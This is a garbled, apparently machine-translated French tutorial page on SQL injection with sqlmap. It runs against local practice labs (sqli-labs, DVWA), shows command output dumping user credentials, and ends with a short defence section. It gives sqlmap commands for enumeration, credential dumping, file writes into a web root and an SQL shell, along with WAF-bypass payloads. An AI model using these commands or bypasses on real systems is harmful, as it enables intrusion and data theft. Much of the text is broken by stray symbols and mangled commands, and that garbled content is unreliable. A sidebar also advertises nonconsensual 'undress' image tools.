


Comment analyser la défense contre les injections SQLMap et SQLi
Partie 1 : Utiliser Sqlmap
1.1 Introduction à sqlmap
1 J'ai déjà mentionné quelques instructions de base sur l'injection SQL, mais l'injection manuelle est très gênante, nous pouvons. utiliser sqlmap Ce puissant outil d'injection SQL est utilisé pour obtenir des données
2 Introduction à sqlmap
(1)#sqlmap est un outil de test d'intrusion open source qui peut détecter automatiquement. et Exploitation des vulnérabilités d'injection SQL et
accès au serveur de la base de données. Il dispose d'un moteur de détection très puissant, d'un testeur d'intrusion doté de multiples fonctionnalités, d'un accès au système de fichiers sous-jacent via l'empreinte digitale de la base de données et l'exécution de commandes via une connexion hors bande.
Site officiel : sqlmap.org
(2)#Bases de données prises en charge :
MySQL, Oracle, PostgreSQL , Microsoft SQL Server, Microsoft
Access, IBM DB2, SQLite, Firebird, Sybase et SAP MAXDB.
(3)#Prend en charge plusieurs méthodes d'injection
#injection SQL de requête UNION (injection de requête conjointe)
#Injection SQL basée sur les erreurs (injection basée sur les erreurs) )
#Injection SQL aveugle basée sur des valeurs booléennes (injection booléenne)
#Injection SQL aveugle basée sur le temps (injection temporisée)
#Requêtes empilées Injection SQL (injection de requêtes multi-instructions) #🎜 🎜#
#🎜 🎜 # sqlmap est plus compatible avec Python2.
(2) N'installez pas Python sur le chemin chinois et ajoutez Python à la variable d'environnement.
#🎜🎜 # (3) Téléchargez et installez sqlmap, modifiez le répertoire d'installation en C:UsersAdministratorsqlmap
Si les invites suivantes, l'installation est réussie
python
# 🎜🎜#Python 2.7.16 #🎜 🎜 #(v2.7.16:413a49145e, 4 mars 2019, 01:37:19) [MSC v.1500 64 bits (AMD64)] sur win32 Type "aide", "copyright", "crédits" ou "licence" pour plus d'informations.
>>> exit(); : Entrez la ligne de commande cmd et entrez sqlmap.py -h (Chemin de la note) C:UsersAdministratorsqlmap>sqlmap.py -h
#Afficher les informations d'aide
#(1) Obtenir le nom de la bibliothèque, le nom de la colonne, l'autorisation
# 🎜🎜#- -dbs #Obtenir toutes les bases de données
--users # Tous les utilisateurs de la base de données (nom d'utilisateur local de la base de données)
- --mots de passe #Obtenir le mot de passe de la base de données, ( ne peut être lu qu'avec autorisation)#🎜 🎜# --technique #Spécifiez quel type d'injection utiliser
- - -current-db #Base de données actuelle
-
#🎜 🎜#
--banner #Obtenir l'identification de la base de données - -D nom_base de données - -tables #-D est utilisé pour spécifier des données, --tables obtient une certaine bibliothèque La table suivante
- -D database_name -T table_name --columns #-T spécifie le nom de la table, --columns obtient le champ de la colonne
- # 🎜🎜#
-D nom_base de données -T nom_table -C colonne_1, colonne_2 --dump
# 🎜🎜#- -users #Colonne des utilisateurs de gestion de base de données Lorsque l'utilisateur actuel a l'autorisation de lire la table contenant tous les utilisateurs, tous les utilisateurs de gestion peuvent être répertoriés. - --current-user #Utilisateurs pouvant obtenir des données de gestion dans la plupart des bases de données.
- --is-dba #Déterminez si l'utilisateur actuel est un manager, si c'est le cas, True sera renvoyé.
- --privileges #Lorsque l'utilisateur actuel a l'autorisation de lire le tableau contenant tous les utilisateurs, il est probable qu'il répertorie les autorisations de chaque utilisateur, et sqlmap vous le dira Qui est le super administrateur de la base de données. Vous pouvez également utiliser le paramètre -U pour spécifier les autorisations de l'utilisateur que vous souhaitez voir.
--proxy #Spécifiez un serveur proxy par exemple : –proxy http://local:8080- #🎜🎜 #
#(2) Précisez le suffixe et le suffixe :
#sqlmap ne peut pas détecter de nombreux caractères d'interférence, vous pouvez spécifier manuellement le préfixe et le suffixe lors de la fermeture
sélectionnez * parmi les utilisateurs où id=((('1'))) et 1=1
# - -prefix=PREFIX Injecter le préfixe de la chaîne de charge utile
#–suffix=SUFFIX Injecter le suffixe de la chaîne de charge utile
par exemple : sqlmap -u « www.target.com/index.php?id=1 » -p id -- préfixe "'))"
--suffixe "AND ('1'='1"sqlmap -u "www.a.com/1.php ? id=1” --file-write=”d:/1.txt”
--file-dest=”E:/wwwroot/web/one.php”
-
--batch entièrement automatique
--start=numéro de début--stop=numéro de fin
--dump Exporter les données
--dump-all Exporter toutes les données
--purge-output/ -- purge Effacer le répertoire de cache
--sql-shell Rebound sqlshell, similaire à l'analyseur de requêtes SQL Chemin par défaut.sqlmap (cliquez sur sqlmap)
- #(4) Filtrer la liste noire
- 2. Quels sont les moyens de contourner le filtre et/ou
- #( 1) Mysql n'est pas sensible à la casse, peut être exécuté correctement ===>Utiliser la déformation des majuscules et des minuscules
- ;
#(2) MySQL prend en charge l'hexadécimal, utilisez le codage hexadécimal ou URL
#(3) Remplacez les mots par des symboles ===> (4) Commentaires en ligne et commentaires multilignes ===> Ajouter des commentaires a/**/nd Double écriture contourner oORr
3 Bien sûr, il existe d'autres méthodes. Prenons ces méthodes de filtrage comme exemples pour expliquer comment contourner.
Il existe des périphériques waf dans des scènes réelles, et waf est en fait filtré par certains mots-clés. pour empêcher l'injection SQL.
#(3) Exporter les résultats :
1.4 Exemple pratique de sqlmap
#Less-1--Less65 déclaration générale ( Ces phrases sont les paramètres les plus couramment utilisés et doivent être comprises)
#(1) Obtenez tous les noms de bibliothèques
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less -1? id=1" --dbs --dbms=mysql --batch
# Analyse :
-u suivi de url signifie l'url de test
--dbs signifie obtenir toutes les bases de données
-- dbms signifie que le le type de base de données spécifié est mysql
--batch signifie l'obtenir automatiquement
-D security --tables signifie obtenir le nom de la table de la base de données spécifiée en tant que security
-D security -T users --columns signifie obtenir le base de données spécifiée comme sécurité Noms de colonnes dans la table des utilisateurs
-D sécurité -T utilisateurs -C nom d'utilisateur, mot de passe --dump #Obtenir les informations sur les données des champs de nom d'utilisateur et de mot de passe dans la bibliothèque de sécurité, table des utilisateurs, --dump signifie afficher les résultats
#Résultat :
[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] owasp
[*] performance_schema
[*] security
[*] test
#(2) Obtenez le nom actuel de la bibliothèque
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --current-db --batch
#Résultat :
base de données actuelle : 'sécurité'
#(3) Obtenez le nom de la table actuelle
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id= 1" -D security --tables -- batch
#Result:
Base de données : security
[4 tables]
+----------+
| emails |
| référents |
| uagents |
| utilisateurs |
+-- --------+
#(4) Obtenez le nom de la colonne actuelle
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost /sqli/Less-1?id=1" -D sécurité -T utilisateurs --columns --batch
#Result:
Base de données : sécurité
Tableau : utilisateurs
[3 colonnes]
+----- -----+----- ----+
| Type de colonne |
+---------+--------------- --+
| identifiant | int(3) |
| mot de passe | varchar(20) |
| nom d'utilisateur |
+----------+------- ------+
# (5) Obtenez le contenu du nom d'utilisateur et du mot de passe dans la table des utilisateurs
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id =1" -D sécurité -T utilisateurs -C nom d'utilisateur, mot de passe --dump --batch
#Résultat :
Base de données : sécurité
Table : utilisateurs
[13 entrées]
+-------- ---+-------------- --+
| nom d'utilisateur | mot de passe |
+---------+------------+
| Dumb | Dumb |
| Je-tue |
| Dummy |
| sécurisé |
| stupidité |
| admin | admin |
| admin1 |
| admin2 |
| admin3 |
| dhakkan |
| admin4 |
+--------- ---------+
ème Partie 2 : Contournement WAF pour l'injection SQL
2.1 Introduction à la méthode de contournement WAF pour l'injection SQL
Remarque : Voici uniquement des exemples de méthodes de contournement, le scénario réel est plus compliqué. Plusieurs méthodes de contournement peuvent être mélangées et utilisées.1. Après avoir connu la méthode d'injection SQL, comment pouvons-nous empêcher l'injection SQL ? ) Filtrer et ou ou
- #(3) Filtrer la sélection ou l'union
2.2 Expérience waf de contournement d'injection SQL
1. Caractères de commentaire filtrés (Moins-23 comme exemple)
#(1) Raison du filtrage des caractères de commentaire : pour du SQL normal Dans l'instruction, le caractère de commentaire joue le rôle d’explication. Cependant, lors du processus d'exploitation des vulnérabilités d'injection SQL, les caractères de commentaire jouent le rôle de guillemets simples fermants, de guillemets simples multiples, de guillemets doubles, de crochets simples et de crochets multiples.
Commentaire sur une seule ligne : --+ ou --space ou #Commentaire sur plusieurs lignes : /* Contenu du commentaire sur plusieurs lignes*/
#(2) Fonction de filtre preg_replace
preg_replace(mixed $pattern, Mixed $replacement, Mixed $subject) : effectuez une recherche et un remplacement d'expression régulière.
$pattern : Le modèle à rechercher, qui peut être une chaîne ou un tableau de chaînes.
$subject : La chaîne cible ou le tableau de chaînes à rechercher et à remplacer.
L'utilisation de caractères de commentaire pour filtrer ne peut pas fermer correctement les guillemets simples, etc., modifier l'idée et utiliser ou '1'='1 pour fermer les guillemets simples, etc. http://127.0.0.1/sqli/Less-23/?id=-1%27%20union%20select%201,database(),%273
(1) Analyse du code source : Vous pouvez voir que le ou ou et est remplacé par du vide
3. Les espaces filtrés devraient être Comment contourner ? (Moins-26 comme exemple)
(1) Utiliser %0a comme espace
Partie 3 : Défense contre les injections SQL3.1 Méthode de défense contre les injections SQL
1. Mesures de protection courantes :
#(1), désactivez les invites d'erreur : display_errors= dans le PHP. fichier de configuration php.ini Off
#(2), guillemets magiques (même effet que les addlashes) : Lorsque magic_quotes_gpc=On dans php.ini. Tous les guillemets simples ('), les guillemets doubles ("), les barres obliques inverses () et NUL (caractères NULL) dans les variables soumises seront automatiquement convertis en caractères d'échappement contenant des barres obliques inverses#(3), et les données seront traitées Filtrage : Pour par exemple, filtrez les mots-clés courants tels que et/ou/union
#(4), contrôlez les autorisations des utilisateurs pour se connecter à la base de données : chaque bibliothèque définit un administrateur pour une seule bibliothèque, n'utilisez pas les autorisations root.#(5), pré-traitement et paramétrage (PDO) : traite les paramètres transmis par l'utilisateur et renvoie une valeur booléenne, au lieu de simplement « épisser » les données, évitant ainsi l'injection SQL.
#(6), mesures de protection matérielle (WAF et autres matériel)
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

AI Hentai Generator
Générez AI Hentai gratuitement.

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Utilisez sqlmap pour automatiser l'injection dans dvwa, définissez le niveau dvwa sur bas, ouvrez SQLInjection (SQLInjection(Blind)) de dvwa, ouvrez le débogage du navigateur, entrez l'ID utilisateur et soumettez-le, et affichez les requêtes interceptées. Vous pouvez voir qu'il s'agit d'une requête GET, l'url "http://192.168.1.222:8089/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" On la met directement dans salmap pour le tester, utilisez le - u commande -u"http://192.168.1.22

0x00 Présentation Récemment, j'ai rencontré un phénomène étrange lors de l'utilisation des tests d'injection sqlmap. La version supérieure de sqlmap ne peut pas détecter l'injection, mais la version inférieure peut détecter l'injection et les données peuvent être épuisées, ce qui n'est pas un faux positif après. tests comparatifs et visualisation du code source de sqlmap, j'ai trouvé deux petits trous. Format du point d'injection de reproduction du scénario 0x01 : json..."whereparams":[{"name":"keyWord","value":"test"}]} Paramètres injectables : commande valuesqlmap : pythonsqlmap.py-rsqlpk.txt– flush -session-vvsqlmapv1.2.11 ne peut pas injecter de s

Première partie : Utilisation de Sqlmap 1.1 Introduction à sqlmap 1. J'ai mentionné quelques instructions de base sur l'injection SQL, mais l'injection manuelle est très gênante. Nous pouvons utiliser sqlmap, un puissant outil d'injection SQL, pour obtenir des données. # sqlmap est un outil de test d'intrusion open source qui peut détecter et exploiter automatiquement les vulnérabilités d'injection SQL et les serveurs connectés à la base de données. Il dispose d'un moteur de détection très puissant, d'un testeur d'intrusion doté de multiples fonctionnalités, d'un accès au système de fichiers sous-jacent via l'empreinte digitale de la base de données et l'exécution de commandes via une connexion hors bande. Site officiel : sqlmap.org(2)#Bases de données prises en charge : MySQL, Oracle, PostgreS

Parce qu'il est nécessaire d'effectuer des tests d'intrusion sur les sites Web externes, la plupart des sites Web disposent d'un contrôle de fréquence d'accès. Une fois cette fréquence dépassée, l'IP sera directement bannie. Surtout lorsque SQLMAP est en cours d'exécution, il est encore plus "tante rouge", et il se terminera avec une erreur avant la fin de l'exécution de SQLMAP. J'ai donc commencé à étudier le mode proxy de SQLMAP. SQLMAP a deux modes proxy, l'un est un proxy normal (proxy HTTP) et l'autre est un proxy oignon. Au départ, je voulais écrire sur l'application des agents ordinaires, mais Baidu a vu que cet article était suffisamment détaillé et a arrêté de dire des bêtises. Extension Sqlmap - Implémentation d'un pool de proxy IP externe Concentrons-nous sur le proxy onion Au début, lorsque l'onion était utilisé directement pour l'injection, il n'y avait pas de rapport « tante rouge ». Plus tard, à mesure que le nombre de sites Web pénétrés augmentait,

1. Préface Comment détecter l'injection SQL ? Ma réponse est la suivante : lorsque la partie A assure la sécurité, la détection des injections SQL est relativement facile à effectuer. 1) Détection d'injection d'erreur. 2) N'injectez pas de rapports d'erreurs booléennes car les faux positifs sont relativement élevés. 3) Effectuez une injection de temps basée sur le temps, l'exploitation et la maintenance des contacts pour créer des enregistrements de base de données de journaux lents, surveiller le sommeil et évaluer les mots clés. Vous pouvez ajouter le numéro d'identification de la tâche d'analyse à la virgule décimale du temps de sommeil pour faciliter le positionnement. (ps. Cette méthode peut trouver 99 % des injections SQL) Par conséquent, lorsque je fais une injection temporelle basée sur le temps, je limite très sévèrement l'erreur de temps. Cependant, @chengable effectue un travail lié à la sécurité dans la partie B, sur la base de t

Il y a trop peu d'articles sur l'injection DNS pour sqlmap sur Internet. Ils ne présentent que brièvement le paramètre --dns-domain. Les articles pratiques pertinents sont soit vagues, soit mentionnés d'un seul coup, ce qui prête à confusion (principalement malhonnête, la clé est). pas encore Big Boss). Puis j’ai recommencé en me référant aux méthodes sur Internet. Les éléments à préparer incluent un sqlmap, une injection aveugle de Windows, deux noms de domaine et un serveur réseau externe. Un jour, alors que je faisais quelque chose, je suis tombé sur une injection aveugle temporelle. Il s'agissait d'une machine Windows et je me suis souvenu de la méthode d'injection DNS. Avant de commencer, je prévois d'utiliser la commande --sql-shell de sqlmap pour tester la charge utile de l'injection DNS. Tout d'abord, accédez à burpsuite.

Lorsque j'ai testé l'application de l'entreprise, j'ai découvert que nous avions ajouté un caractère 32 bits à tous les contenus des paramètres et finalement effectué le cryptage MD5. Étant donné que le processus de traitement de l'APP vérifie d'abord si le signe est correct, si la vérification de la signature échoue, il ne pourra pas du tout entrer dans la base de données. Afin d'utiliser SQLMAP pour le tester, j'ai écrit un script pour les données proxy après l'interception. le paquet de données, effectue le remplacement crypté de son contenu de paramètre et de 32 caractères. Remarque : ce script convient au système interne de l'entreprise, car vous pouvez connaître le processus de cryptage ou obtenir la méthode de cryptage du JS frontal ; Tout d'abord, j'ai écrit un programme utilisant Django pour simuler le système de l'entreprise. Le processus consistait à obtenir l'ID POST et le jeton, et à ajouter un mot crypté personnalisé.

sqlmap lit et écrit des fichiers –file-read : lit les fichiers à partir du système de fichiers du système de gestion de base de données principal –file-write : modifie les fichiers locaux sur le système de fichiers du système de gestion de base de données principal (écrit à partir du système local) –file-dest : Le chemin absolu du fichier écrit par le système de gestion de base de données back-end (chemin cible d'écriture). Vous pouvez utiliser les commandes ci-dessus pour lire et écrire le fichier système après l'injection SQL, mais la condition préalable est que vous ayez besoin d'avoir lu et écrit. autorisations et être un administrateur de base de données, sinon les opérations de lecture et d'écriture ne peuvent pas être effectuées avec succès. En prenant DVWA comme exemple, construisez DVWA sous Kali pour lire et écrire des fichiers. Lire le fichier : Vérifiez les informations pertinentes dans PHPinfo, utilisez -file-r
